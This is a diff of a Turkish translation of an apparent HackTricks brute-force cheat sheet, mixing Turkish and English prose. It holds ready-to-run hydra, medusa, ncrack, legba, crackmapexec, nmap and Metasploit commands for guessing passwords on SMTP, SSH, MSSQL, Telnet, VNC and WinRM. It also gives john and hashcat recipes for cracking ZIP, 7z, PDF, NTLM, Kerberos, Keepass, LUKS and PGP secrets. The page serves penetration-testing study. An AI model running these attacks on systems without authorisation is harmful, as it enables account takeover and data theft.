2FA kullanılabilir. -- Güncel yazılım ve güvenlik yamaları: SMTP sunucusu ve diğer ilgili yazılımların güncel ve güvenlik yamalarıyla korunduğundan emin olunmalıdır. - -SMTP brute force saldırılarına karşı savunmasız olan sistemler, saldırganların yetkisiz erişim elde etmesine ve hassas e-posta verilerinin tehlikeye atılmasına neden olabilir. Bu nedenle, güvenlik önlemlerinin düzgün bir şekilde uygulanması önemlidir. +Simple Mail Transfer Protocol (Basit Posta Aktarım Protokolü) sunucularına erişmek için kullanılan bir brute force saldırısı, genellikle kullanıcı adı ve şifre kombinasyonlarını denemek için kullanılır. Bu saldırı, bir saldırganın yetkisiz erişim elde etmesine ve istenmeyen e-postalar göndermesine olanak tanır. ```bash hydra -l -P /path/to/passwords.txt smtp -V hydra -l -P /path/to/passwords.txt -s 587 -S -v -V #Port 587 for SMTP with SSL legba smtp --username admin@example.com --password wordlists/passwords.txt --target localhost:25 [--smtp-mechanism ] ``` -SOCKS (Socket Secure) protokolü, ağ trafiğini bir ağdaki bir sunucu üzerinden yönlendirmek için kullanılan bir protokoldür. SOCKS, TCP/IP tabanlı uygulamaların güvenli bir şekilde çalışmasını sağlar ve ağ trafiğini şifreleyerek gizlilik sağlar. SOCKS, bir proxy sunucusu aracılığıyla çalışır ve kullanıcıların kimlik doğrulamasını gerektirebilir. Brute force saldırıları, SOCKS protokolünü hedef alabilir ve kullanıcı adı ve şifre kombinasyonlarını deneyerek yetkilendirme bilgilerini elde etmeye çalışabilir. Bu saldırı türü, güçlü şifreler kullanılmadığında etkili olabilir. +### SOCKS + +SOCKS, yani "Socket Secure", bir ağ protokolüdür ve genellikle güvenli bir şekilde ağ trafiğini yönlendirmek için kullanılır. SOCKS sunucuları, ağ trafiğini yönlendirmek ve gizlemek için kullanılabilir. Bu, bir hedefe erişmek için farklı bir IP adresi kullanmak isteyen saldırganlar için yararlı olabilir. ```bash nmap -vvv -sCV --script socks-brute --script-args userdb=users.txt,passdb=/usr/share/seclists/Passwords/xato-net-10-million-passwords-1000000.txt,unpwndb.timelimit=30m -p 1080 legba socks5 --target localhost:1080 --username admin --password data/passwords.txt @@ -789,23 +483,7 @@ legba socks5 --target localhost:1080 --username admin --password data/passwords. ``` ### SQL Server -SQL Server, Microsoft tarafından geliştirilen ve yaygın olarak kullanılan bir ilişkisel veritabanı yönetim sistemidir. SQL Server, Windows işletim sistemleri üzerinde çalışır ve veritabanı yönetimi, veri depolama, veri güvenliği ve veri erişimi gibi birçok özelliği destekler. - -#### Brute Force Saldırısı - -Brute force saldırısı, bir saldırganın tüm olası kombinasyonları deneyerek kullanıcı adı ve şifre gibi giriş bilgilerini tahmin etmeye çalıştığı bir saldırı yöntemidir. SQL Server'da brute force saldırısı, saldırganın SQL Server'a erişmek için kullanıcı adı ve şifre kombinasyonlarını denemesini içerir. - -Bu saldırı türü, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir. Saldırgan, oturum açma ekranında kullanıcı adı ve şifreleri denemek için otomatik bir araç veya özel yazılım kullanabilir. Brute force saldırıları genellikle zaman alıcıdır, çünkü tüm kombinasyonları denemek için çok fazla zaman gerektirebilir. - -SQL Server'da brute force saldırılarına karşı korunmak için aşağıdaki önlemler alınabilir: - -- Güçlü ve karmaşık şifreler kullanın. -- Şifreleri düzenli olarak değiştirin. -- Oturum açma denemelerini sınırlayın ve otomatik olarak hesapları kilitleyin. -- İki faktörlü kimlik doğrulama kullanın. -- Güvenlik duvarı ve ağ filtreleme kullanarak erişimi sınırlayın. - -Brute force saldırılarına karşı korunmak için güvenlik en iyi uygulamalarını takip etmek önemlidir. +SQL Server, Microsoft'un ilişkisel veritabanı yönetim sistemidir. SQL Server'a karşı brute force saldırıları genellikle SQL Server Authentication modunda gerçekleştirilir. Bu saldırılar, kullanıcı adı ve şifre kombinasyonlarını deneyerek SQL Server'a erişmeye çalışır. Saldırganlar genellikle otomatik araçlar kullanarak bu tür saldırıları gerçekleştirirler. SQL Server brute force saldırılarına karşı korunmak için karmaşık ve güçlü şifreler kullanılmalı ve hesap kitlenme politikaları etkinleştirilmelidir. ```bash #Use the NetBIOS name of the machine as domain crackmapexec mssql -d -u usernames.txt -p passwords.txt @@ -814,13 +492,9 @@ medusa -h –U /root/Desktop/user.txt –P /root/Desktop/pass.txt –M mssq nmap -p 1433 --script ms-sql-brute --script-args mssql.domain=DOMAIN,userdb=customuser.txt,passdb=custompass.txt,ms-sql-brute.brute-windows-accounts #Use domain if needed. Be careful with the number of passwords in the list, this could block accounts msf> use auxiliary/scanner/mssql/mssql_login #Be careful, you can block accounts. If you have a domain set it and use USE_WINDOWS_ATHENT ``` -SSH (Secure Shell), güvenli bir uzaktan erişim protokolüdür. SSH, ağ üzerinden güvenli bir şekilde komut satırı erişimi sağlar ve verilerin şifrelenmesini sağlar. SSH, sunucu ve istemci arasında güvenli bir bağlantı kurmak için kullanılır. +### SSH -SSH brute force saldırısı, bir saldırganın SSH sunucusuna erişmek için bir dizi olası kullanıcı adı ve şifre kombinasyonunu denemesidir. Bu saldırı, zayıf veya tahmin edilebilir şifreler kullanılarak korunan SSH sunucularını hedef alır. - -SSH brute force saldırılarını önlemek için bazı önlemler alınabilir. Bunlar arasında güçlü ve karmaşık şifreler kullanmak, oturum açma denemelerini sınırlamak, IP adresi tabanlı erişim kontrolü yapmak ve çok faktörlü kimlik doğrulama kullanmak bulunur. - -SSH brute force saldırılarına karşı korunmak için güvenlik bilincinin artırılması ve güvenlik önlemlerinin uygulanması önemlidir. Ayrıca, güncellemeleri takip etmek ve güvenlik açıklarını düzeltmek de önemlidir. +SSH, Secure Shell olarak da bilinir, ağ protokollerini güvenli bir şekilde yönetmek için kullanılır. SSH brute force saldırıları, genellikle şifre deneme saldırıları yaparak SSH sunucularına yetkisiz erişim sağlamak için kullanılır. Bu saldırı türü, oturum açma ekranına erişmek için genellikle otomatik araçlar kullanır. Saldırganlar, genellikle şifre listeleri veya rastgele şifre kombinasyonları kullanarak oturum açma ekranına erişmeye çalışırlar. Bu tür saldırılara karşı koymak için güçlü ve karmaşık şifreler kullanılmalı ve oturum açma denemelerini sınırlayan önlemler alınmalıdır. ```bash hydra -l root -P passwords.txt [-t 32] ssh ncrack -p 22 --user root -P passwords.txt [-T 5] @@ -832,15 +506,17 @@ legba ssh --username admin --password '@/some/path/*' --ssh-auth-mode key --targ ``` #### Zayıf SSH anahtarları / Debian tahmin edilebilir PRNG -Bazı sistemlerde, şifreleme materyali oluşturmak için kullanılan rastgele tohumda bilinen hatalar bulunmaktadır. Bu, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla kaba kuvvet saldırısıyla kırılabilecek dramatik bir şekilde azaltılmış bir anahtar alanıyla sonuçlanabilir. Zayıf anahtarların önceden oluşturulmuş setleri de mevcuttur, örneğin [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). +Bazı sistemler, kriptografik materyal oluşturmak için kullanılan rastgele tohumda bilinen hatalara sahiptir. Bu, [snowdroppe/ssh-keybrute](https://github.com/snowdroppe/ssh-keybrute) gibi araçlarla kaba kuvvet saldırısına maruz kalan dramatik olarak azaltılmış bir anahtar alanı ile sonuçlanabilir. Önceden oluşturulmuş zayıf anahtar setleri de mevcuttur, örneğin [g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh). ### STOMP (ActiveMQ, RabbitMQ, HornetQ ve OpenMQ) -STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj kuyruğu hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan yaygın olarak kullanılan bir mesajlaşma protokolüdür. Mesajları değiş tokuş etmek ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar. +STOMP metin protokolü, RabbitMQ, ActiveMQ, HornetQ ve OpenMQ gibi popüler mesaj sıralama hizmetleriyle sorunsuz iletişim ve etkileşim sağlayan **geniş çapta kullanılan bir mesajlaşma protokolüdür**. Mesajları değiş tokuş etmek ve çeşitli mesajlaşma işlemlerini gerçekleştirmek için standartlaştırılmış ve verimli bir yaklaşım sunar. ```bash legba stomp --target localhost:61613 --username admin --password data/passwords.txt ``` -Telnet, bir ağ protokolüdür ve bir bilgisayarın uzaktan başka bir bilgisayara bağlanmasını sağlar. Telnet, bir sunucuya erişmek için kullanıcı adı ve şifre gibi kimlik doğrulama bilgilerini gerektirir. Brute force saldırısı, bir saldırganın Telnet protokolünü kullanarak bir sunucuya erişmek için tüm olası kullanıcı adı ve şifre kombinasyonlarını denemesidir. Bu saldırı yöntemi, zayıf veya tahmin edilebilir kimlik doğrulama bilgilerine sahip olan sistemlere karşı etkili olabilir. +### Telnet + +Telnet, ağı üzerindeki diğer cihazlara erişmek için kullanılan bir protokoldür. Genellikle TCP üzerinden 23 numaralı bağlantı noktasını kullanır. Telnet, metin tabanlı bir protokol olduğundan, veriler açık metin olarak iletilir ve bu da güvenlik riski oluşturabilir. Güvenliği zayıf olduğu için günümüzde genellikle tercih edilmemektedir. ```bash hydra -l root -P passwords.txt [-t 32] telnet ncrack -p 23 --user root -P passwords.txt [-T 5] @@ -857,13 +533,9 @@ legba telnet \ ``` ### VNC -VNC (Virtual Network Computing), sanal bir masaüstü protokolüdür. VNC, bir bilgisayara uzaktan erişim sağlamak için kullanılır ve genellikle sunucu ve istemci olarak iki bileşenden oluşur. Sunucu, uzaktaki bilgisayarın ekranını paylaşırken, istemci, sunucuya bağlanarak uzaktaki bilgisayara erişir. +#### Brute Force -Brute force saldırıları, VNC sunucularını hedef alabilir. Bu saldırılar, kullanıcı adı ve parola kombinasyonlarını deneyerek sunucuya yetkisiz erişim sağlamayı amaçlar. Brute force saldırıları, genellikle zayıf veya tahmin edilebilir parolaları hedef alır. - -Brute force saldırılarını önlemek için bazı önlemler alınabilir. Bunlar arasında güçlü parolalar kullanmak, oturum açma denemelerini sınırlamak, IP adresi tabanlı engelleme uygulamak ve iki faktörlü kimlik doğrulama kullanmak bulunur. - -VNC sunucularınızı güvende tutmak için güvenlik önlemlerini uygulamak önemlidir. Bu, yetkisiz erişimi önlemek ve hassas verilerinizi korumak için gereklidir. +Brute force attacks against VNC servers involve attempting to log in by systematically trying all possible passwords until the correct one is found. This can be achieved using tools like Hydra or Medusa. It is important to note that brute force attacks can be time-consuming and resource-intensive, especially if the password is complex. It is recommended to use strong, unique passwords and implement account lockout policies to mitigate the risk of a successful brute force attack. ```bash hydra -L /root/Desktop/user.txt –P /root/Desktop/pass.txt -s vnc medusa -h –u root -P /root/Desktop/pass.txt –M vnc @@ -880,25 +552,14 @@ set PASS_FILE /usr/share/metasploit-framework/data/wordlists/passwords.lst ``` ### Winrm -Winrm, Windows Remote Management, Windows işletim sistemlerinde uzaktan yönetimi sağlayan bir protokoldür. Winrm, Windows PowerShell komutlarını ve diğer yönetim araçlarını uzaktan çalıştırmak için kullanılır. Bu protokol, ağ üzerinden güvenli bir şekilde iletişim kurmak için HTTPS üzerinden çalışır. - -Winrm, brute force saldırılarına karşı savunmasız olabilir. Brute force saldırıları, bir saldırganın tüm olası şifre kombinasyonlarını deneyerek bir hesaba erişmeye çalıştığı saldırılardır. Bu tür saldırılar, zayıf veya tahmin edilebilir şifreler kullanıldığında etkili olabilir. - -Winrm brute force saldırılarını önlemek için aşağıdaki önlemleri alabilirsiniz: - -- Güçlü şifreler kullanın: Karmaşık ve tahmin edilemez şifreler kullanarak saldırganların şifreleri tahmin etmelerini zorlaştırın. -- Şifre politikalarını uygulayın: Şifre politikaları belirleyerek kullanıcıların güçlü şifreler kullanmasını zorunlu hale getirin. -- Hesap kilitlenmesini etkinleştirin: Belirli bir süre içinde yanlış şifre denemeleri yapıldığında hesapları otomatik olarak kilitlenmesini sağlayın. -- İki faktörlü kimlik doğrulama kullanın: İki faktörlü kimlik doğrulama, kullanıcıların şifrelerinin yanı sıra başka bir doğrulama yöntemi kullanmalarını gerektirir. - -Bu önlemleri alarak Winrm brute force saldırılarına karşı güvenliğinizi artırabilirsiniz. +Winrm, Windows Remote Management'ın kısaltmasıdır. Winrm, Windows işletim sistemlerinde uzaktan yönetim için kullanılan bir protokoldür. Winrm, uzaktan komut istemcileri ve sunucular arasında güvenli iletişimi sağlamak için kullanılır. ```bash crackmapexec winrm -d -u usernames.txt -p passwords.txt ``` -
+
\ -[**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçları tarafından desteklenen **iş akışlarını kolayca oluşturun ve otomatikleştirin**.\ +[**Trickest**](https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks) kullanarak dünyanın en gelişmiş topluluk araçlarıyla desteklenen **iş akışlarını otomatikleştirin**.\ Bugün Erişim Alın: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %} @@ -908,8 +569,8 @@ Bugün Erişim Alın: ### Çevrimiçi kırma veritabanları * [~~http://hashtoolkit.com/reverse-hash?~~](http://hashtoolkit.com/reverse-hash?) (MD5 ve SHA1) -* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP ile/olmadan ve herhangi bir meydan okuma değeriyle) -* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash'ler, WPA2 yakalamaları ve MSOffice, ZIP, PDF arşivleri...) +* [https://shuck.sh/get-shucking.php](https://shuck.sh/get-shucking.php) (MSCHAPv2/PPTP-VPN/NetNTLMv1 ESS/SSP olmadan/ile ve herhangi bir meydan okuma değeri ile) +* [https://www.onlinehashcrack.com/](https://www.onlinehashcrack.com) (Hash'ler, WPA2 yakalamaları ve arşivler MSOffice, ZIP, PDF...) * [https://crackstation.net/](https://crackstation.net) (Hash'ler) * [https://md5decrypt.net/](https://md5decrypt.net) (MD5) * [https://gpuhash.me/](https://gpuhash.me) (Hash'ler ve dosya hash'leri) @@ -919,7 +580,7 @@ Bugün Erişim Alın: * [https://www.md5online.org/md5-decrypt.html](https://www.md5online.org/md5-decrypt.html) (MD5) * [http://reverse-hash-lookup.online-domain-tools.com/](http://reverse-hash-lookup.online-domain-tools.com) -Hash kuvvet saldırısı yapmadan önce bunları kontrol edin. +Hash'ı kaba kuvvet uygulamadan önce bunu kontrol edin. ### ZIP ```bash @@ -937,9 +598,10 @@ john zip.john hashcat.exe -m 13600 -a 0 .\hashzip.txt .\wordlists\rockyou.txt .\hashcat.exe -m 13600 -i -a 0 .\hashzip.txt #Incremental attack ``` -#### Bilinen metin zip saldırısı +#### Bilinen düz metin zip saldırısı -Şifrelenmiş bir zip içindeki bir dosyanın **açık metnini** (veya açık metnin bir kısmını) bilmelisiniz. Şifrelenmiş bir zip içindeki dosyaların **dosya adlarını ve dosya boyutunu** kontrol etmek için **`7z l encrypted.zip`** komutunu çalıştırabilirsiniz. [**bkcrack** ](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0)'i yayın sayfasından indirin. +Şifreli bir zip dosyasının içinde bulunan bir dosyanın **düz metnini** (veya düz metnin bir kısmını) **bilmelisiniz**. Şifreli bir zip içinde bulunan dosyaların **dosya adlarını ve dosyaların boyutunu** kontrol edebilirsiniz: **`7z l encrypted.zip`**\ +İndir [**bkcrack**](https://github.com/kimci86/bkcrack/releases/tag/v1.4.0) sürümler sayfasından. ```bash # You need to create a zip file containing only the file that is inside the encrypted zip zip plaintext.zip plaintext.file @@ -953,17 +615,9 @@ unzip unlocked.zip #User new_pwd as password ``` ### 7z -7z, ağır şifreleme ve sıkıştırma özellikleri sunan bir dosya arşivleme formatıdır. 7z dosyaları, genellikle .7z uzantısıyla tanımlanır. Bu format, diğer arşivleme formatlarına göre daha yüksek sıkıştırma oranları sağlar. +#### Brute Force -7z dosyalarının şifrelenmiş olması durumunda, brute force saldırıları kullanılarak şifre kırılabilir. Brute force saldırısı, tüm olası şifre kombinasyonlarını deneyerek doğru şifreyi bulmaya çalışır. Bu saldırı yöntemi, şifrenin zayıf olduğu durumlarda etkili olabilir. - -Brute force saldırısı için çeşitli araçlar ve yöntemler mevcuttur. Bu saldırıları gerçekleştirmek için genellikle özel yazılımlar veya scriptler kullanılır. Ancak, brute force saldırıları zaman alıcı ve kaynak yoğun olabilir, bu nedenle hedefin şifresinin zayıf olduğu kesinleştiğinde tercih edilir. - -7z dosyalarının brute force saldırılarına karşı korunması için güçlü ve karmaşık şifreler kullanılması önemlidir. Şifrelerin uzun, rastgele karakterlerden oluşması ve farklı karakter türlerini içermesi önerilir. Ayrıca, şifrelerin düzenli olarak değiştirilmesi ve güncellenmesi de önemlidir. - -7z dosyalarının brute force saldırılarına karşı korunması için diğer bir yöntem ise şifre deneme sınırının belirlenmesidir. Şifre deneme sınırı, belirli bir süre içinde yapılabilecek şifre denemelerinin sayısını sınırlar. Bu, brute force saldırılarını zorlaştırabilir ve şifre kırma sürecini yavaşlatabilir. - -Sonuç olarak, 7z dosyalarının brute force saldırılarına karşı korunması için güçlü şifreler kullanılmalı ve şifre deneme sınırı belirlenmelidir. Ayrıca, güvenlik açığı olabilecek zayıf şifrelerden kaçınılmalı ve şifreler düzenli olarak güncellenmelidir. +Brute force attacks can be used to crack the password of a 7z archive. Tools like 7z2hashcat can convert the 7z hash to a format that hashcat can understand. Hashcat can then be used to perform a brute force attack to crack the password. ```bash cat /usr/share/wordlists/rockyou.txt | 7za t backup.7z ``` @@ -974,19 +628,9 @@ wget https://raw.githubusercontent.com/magnumripper/JohnTheRipper/bleeding-jumbo apt-get install libcompress-raw-lzma-perl ./7z2john.pl file.7z > 7zhash.john ``` -# Brute Force (Kaba Kuvvet) +### PDF -Kaba kuvvet saldırısı, bir hedefin şifresini veya kimlik doğrulama bilgilerini tahmin etmek için bir dizi olası kombinasyonu denemek amacıyla kullanılan bir saldırı yöntemidir. Bu saldırı yöntemi, oturum açma sayfaları, şifre korumalı dosyalar veya ağ cihazları gibi güvenlik önlemleriyle korunan sistemlere karşı kullanılabilir. - -Kaba kuvvet saldırıları genellikle şifreleme algoritmalarının zayıf noktalarını hedefler. Saldırganlar, şifreleme algoritmasının kullanıldığı sistemdeki şifreleme anahtarını veya şifreleme algoritmasının kendisini kırmak için bir dizi olası değeri deneyerek hedefin şifresini bulmaya çalışır. - -Bu saldırı yöntemi, saldırganın sahip olduğu hesap bilgilerini veya şifreleme anahtarını korumak için güçlü güvenlik önlemleri almayan sistemlerde etkili olabilir. Bu nedenle, güçlü ve karmaşık şifreler kullanmak, hesaplarınızı ve sistemlerinizi kaba kuvvet saldırılarına karşı korumak için önemlidir. - -Kaba kuvvet saldırıları, genellikle otomatik araçlar veya yazılımlar kullanılarak gerçekleştirilir. Bu araçlar, bir hedefin şifresini veya kimlik doğrulama bilgilerini tahmin etmek için bir dizi olası kombinasyonu otomatik olarak deneyebilir. Saldırganlar, bu araçları kullanarak hedef sistemlere büyük miktarda giriş yapabilir ve şifreleri veya kimlik doğrulama bilgilerini elde edebilir. - -Kaba kuvvet saldırılarına karşı korunmanın birkaç yolu vardır. İlk olarak, güçlü ve karmaşık şifreler kullanmak önemlidir. Şifrelerinizi düzenli olarak değiştirmek ve aynı şifreyi birden fazla hesapta kullanmaktan kaçınmak da önemlidir. Ayrıca, hesaplarınızı ve sistemlerinizi korumak için çift faktörlü kimlik doğrulama gibi ek güvenlik önlemleri kullanabilirsiniz. - -Sonuç olarak, kaba kuvvet saldırıları, şifreleri veya kimlik doğrulama bilgilerini tahmin etmek için bir dizi olası kombinasyonu deneyen bir saldırı yöntemidir. Bu saldırılara karşı korunmak için güçlü şifreler kullanmak ve ek güvenlik önlemleri almak önemlidir. +Brute-force attacks are commonly used to crack passwords from PDF files. Tools like `pdfcrack` and `pdf2john` can be used to extract the hash from a PDF file, which can then be cracked using a password list or by brute-forcing the password. It is important to note that brute-forcing passwords can be time-consuming and resource-intensive, especially for complex passwords. ```bash apt-get install pdfcrack pdfcrack encrypted.pdf -w /usr/share/wordlists/rockyou.txt @@ -997,7 +641,7 @@ qpdf --password= --decrypt encrypted.pdf plaintext.pdf ``` ### PDF Sahibi Şifresi -Bir PDF sahibi şifresini kırmak için şunu kontrol edin: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) +PDF Sahibi şifresini kırmak için şu adrese bakın: [https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/](https://blog.didierstevens.com/2022/06/27/quickpost-cracking-pdf-owner-passwords/) ### JWT ```bash @@ -1012,36 +656,12 @@ python jwt2john.py eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJkYXRhIjoie1widXNlcm5h john jwt.john #It does not work with Kali-John ``` ### NTLM kırma - -NTLM (NT LAN Manager), Windows işletim sistemlerinde kullanılan bir kimlik doğrulama protokolüdür. NTLM kırma, bir saldırganın NTLM hash'ini elde etmek ve ardından bu hash'i çözmek için kullanılan bir tekniktir. NTLM hash'i, kullanıcının parolasının yerine geçen bir değerdir ve saldırganın parolayı elde etmesine olanak sağlar. - -NTLM kırma genellikle brute force saldırılarıyla gerçekleştirilir. Brute force saldırısı, tüm olası parola kombinasyonlarını deneyerek doğru parolayı bulmaya çalışır. Bu saldırı yöntemi, zayıf veya tahmin edilebilir parolaları olan kullanıcı hesaplarını hedef alır. - -NTLM kırma için kullanılan bazı araçlar şunlardır: - -- **John the Ripper**: Parola kırma aracı olarak kullanılan popüler bir yazılımdır. NTLM hash'lerini çözmek için kullanılabilir. -- **Hashcat**: Yüksek performanslı bir parola kırma aracıdır. NTLM hash'lerini çözmek için kullanılabilir. -- **Medusa**: Çoklu hedef desteği olan bir brute force saldırı aracıdır. NTLM kırma için kullanılabilir. - -NTLM kırma işlemi, güçlü parolalar kullanarak hesap güvenliğini artırmak için önemlidir. Kullanıcıların karmaşık ve tahmin edilemez parolalar kullanmaları, NTLM kırma saldırılarına karşı daha dirençli olmalarını sağlar. ```bash Format:USUARIO:ID:HASH_LM:HASH_NT::: john --wordlist=/usr/share/wordlists/rockyou.txt --format=NT file_NTLM.hashes hashcat -a 0 -m 1000 --username file_NTLM.hashes /usr/share/wordlists/rockyou.txt --potfile-path salida_NT.pot ``` -Keepass, a popular open-source password manager, is a valuable tool for securely storing and managing passwords. It uses strong encryption algorithms to protect your passwords and allows you to generate strong, unique passwords for each of your accounts. - -One potential weakness of Keepass is the possibility of brute-force attacks. Brute-force attacks involve systematically trying every possible combination of characters until the correct password is found. To protect against brute-force attacks, Keepass includes several security features. - -Firstly, Keepass allows you to set a master password, which is required to access your password database. It is important to choose a strong master password that is not easily guessable. Avoid using common words or phrases and consider using a combination of uppercase and lowercase letters, numbers, and special characters. - -Additionally, Keepass includes a feature called key transformation, which adds an extra layer of security to the master password. Key transformation involves applying a series of cryptographic transformations to the master password, making it more difficult for an attacker to guess or crack the password. - -To further enhance security, Keepass also supports the use of key files. A key file is a separate file that is required in addition to the master password to unlock the password database. This adds an extra layer of protection, as an attacker would need both the master password and the key file to gain access. - -It is important to regularly update your master password and key file to ensure the security of your password database. Additionally, consider enabling two-factor authentication (2FA) if supported by your Keepass implementation. 2FA adds an extra layer of security by requiring a second form of authentication, such as a fingerprint or a one-time password, in addition to the master password and key file. - -By following these security practices and regularly updating your master password and key file, you can significantly reduce the risk of brute-force attacks on your Keepass password database. +### Keepass ```bash sudo apt-get install -y kpcli #Install keepass tools like keepass2john keepass2john file.kdbx > hash #The keepass is only using password @@ -1049,13 +669,9 @@ keepass2john -k file.kdbx > hash # The keepass is also using a f #The keepass can use a password and/or a file as credentials, if it is using both you need to provide them to keepass2john john --wordlist=/usr/share/wordlists/rockyou.txt hash ``` -Keberoasting, bir saldırganın Active Directory (AD) ortamında zayıf şifrelenmiş hesapları keşfetmek için kullanılan bir saldırı tekniğidir. Bu saldırı, AD ortamında Kerberos ön bellek saldırısı yaparak gerçekleştirilir. +### Keberoasting -Keberoasting saldırısı, hedef AD ortamında SPN (Service Principal Name) olarak bilinen hesapları hedefler. SPN'ler, bir servisin AD'deki kimlik doğrulamasını temsil eder. Bu hesaplar genellikle servis hesaplarıdır ve genellikle uzun süreli şifrelerle korunurlar. - -Saldırgan, hedef AD ortamında SPN'leri keşfeder ve ardından bu hesapların şifrelerini zayıf bir şekilde şifrelenmiş olanlarını belirler. Daha sonra, saldırgan bu zayıf şifrelenmiş hesapları çalmak için Kerberos ön bellek saldırısı kullanır. - -Keberoasting saldırısı, saldırganın hedef AD ortamında kimlik doğrulama bilgilerini elde etmesine ve bu hesapları kötüye kullanmasına olanak tanır. Bu saldırı, saldırganın hedef ağda ilerlemesine ve daha fazla yetki elde etmesine yardımcı olabilir. +Keberoasting, bir hedefin Active Directory ortamında bulunan hesaplarının hash'lerini elde etmek için kullanılan bir saldırı tekniğidir. Bu saldırıda, saldırganlar genellikle SPN'leri (Service Principal Names) olan hesapları hedeflerler ve ardından bu hesapların hash'lerini elde etmek için brute force saldırıları gerçekleştirirler. Bu yöntem, zayıf veya kolayca tahmin edilebilen parolalar kullanan hesaplar için etkili olabilir. ```bash john --format=krb5tgs --wordlist=passwords_kerb.txt hashes.kerberoast hashcat -m 13100 --force -a 0 hashes.kerberoast passwords_kerb.txt @@ -1073,28 +689,6 @@ ls /dev/mapper/ #You should find here the image mylucksopen mount /dev/mapper/mylucksopen /mnt ``` #### Yöntem 2 - -##### Brute Force - -##### Brut Kuvvet - -Brute force is a technique used to crack passwords or encryption by systematically trying all possible combinations until the correct one is found. It is a time-consuming method but can be effective if the password is weak or the encryption algorithm is vulnerable. - -Brute force, doğru olanı bulana kadar tüm olası kombinasyonları sistemli bir şekilde deneyerek şifreleri veya şifrelemeleri kırmak için kullanılan bir tekniktir. Zaman alıcı bir yöntem olmasına rağmen, şifre zayıf ise veya şifreleme algoritması savunmasız ise etkili olabilir. - -There are different types of brute force attacks, including: - -Brute force saldırılarının farklı türleri vardır, bunlar: - -- **Online brute force**: In this type of attack, the hacker tries different combinations of passwords or encryption keys directly on the target system or application. This method requires a direct connection to the target and can be easily detected and blocked by security measures such as account lockouts or rate limiting. - -- **Çevrimiçi brute force**: Bu saldırı türünde, hacker şifreleri veya şifreleme anahtarlarını doğrudan hedef sistem veya uygulamada farklı kombinasyonlarla dener. Bu yöntem, hedefe doğrudan bir bağlantı gerektirir ve hesap kilitlenmeleri veya hız sınırlamaları gibi güvenlik önlemleri tarafından kolayca tespit edilebilir ve engellenebilir. - -- **Offline brute force**: In this type of attack, the hacker obtains a copy of the encrypted data and performs the brute force attack offline, without direct access to the target system. This can be done by stealing a password hash database or capturing encrypted network traffic. Offline brute force attacks are usually more difficult to detect and can take longer to crack the password or encryption. - -- **Çevrimdışı brute force**: Bu saldırı türünde, hacker şifrelenmiş verilerin bir kopyasını elde eder ve brute force saldırısını doğrudan hedef sistemine erişim olmadan çevrimdışı olarak gerçekleştirir. Bu, bir şifre hash veritabanını çalmak veya şifrelenmiş ağ trafiğini yakalamak suretiyle yapılabilir. Çevrimdışı brute force saldırıları genellikle daha zor tespit edilir ve şifre veya şifreleme kırılması daha uzun sürebilir. - -To protect against brute force attacks, it is important to use strong and unique passwords, implement account lockouts or rate limiting, and use multi-factor authentication. Additionally, using strong encryption algorithms and regularly updating software can help mitigate the risk of brute force attacks. ```bash cryptsetup luksDump backup.img #Check that the payload offset is set to 4096 dd if=backup.img of=luckshash bs=512 count=4097 #Payload offset +1 @@ -1112,14 +706,6 @@ Başka bir Luks BF öğretici: [http://blog.dclabs.com.br/2020/03/bruteforcing-l dbuser:$mysqlna$112233445566778899aabbccddeeff1122334455*73def07da6fba5dcc1b19c918dbd998e0d1f3f9d ``` ### PGP/GPG Özel Anahtarı - -PGP (Pretty Good Privacy) veya GPG (GNU Privacy Guard) özel anahtarı, şifreleme ve dijital imza işlemlerinde kullanılan bir anahtardır. Bu anahtar, kullanıcının kimliğini doğrulamak ve iletişimi güvence altına almak için kullanılır. - -Özel anahtar, genellikle bir dosya veya metin biçiminde saklanır. Bu anahtara sahip olan kişi, şifrelenmiş mesajları çözebilir ve dijital imzaları doğrulayabilir. Bu nedenle, özel anahtarın güvenli bir şekilde saklanması ve yetkisiz erişimden korunması önemlidir. - -Brute force saldırısı, bir saldırganın tüm olası anahtar kombinasyonlarını deneyerek özel anahtarı bulmaya çalıştığı bir saldırı yöntemidir. Bu saldırı yöntemi, güçlü bir şifreleme algoritması kullanıldığında oldukça zorlu hale gelir. Ancak, zayıf bir şifreleme algoritması veya zayıf bir özel anahtar kullanıldığında, brute force saldırıları daha etkili olabilir. - -Brute force saldırılarına karşı korunmanın en iyi yolu, güçlü bir şifreleme algoritması kullanmak ve özel anahtarın güvenliğini sağlamaktır. Özel anahtarın güvenli bir şekilde saklanması için şifrelenmiş bir dosya veya donanım cüzdanı kullanılabilir. Ayrıca, güçlü bir şifre seçmek ve özel anahtarı yetkisiz erişimden korumak için çift faktörlü kimlik doğrulama gibi ek güvenlik önlemleri almak da önemlidir. ```bash gpg2john private_pgp.key #This will generate the hash and save it in a file john --wordlist=/usr/share/wordlists/rockyou.txt ./hash @@ -1128,15 +714,15 @@ john --wordlist=/usr/share/wordlists/rockyou.txt ./hash
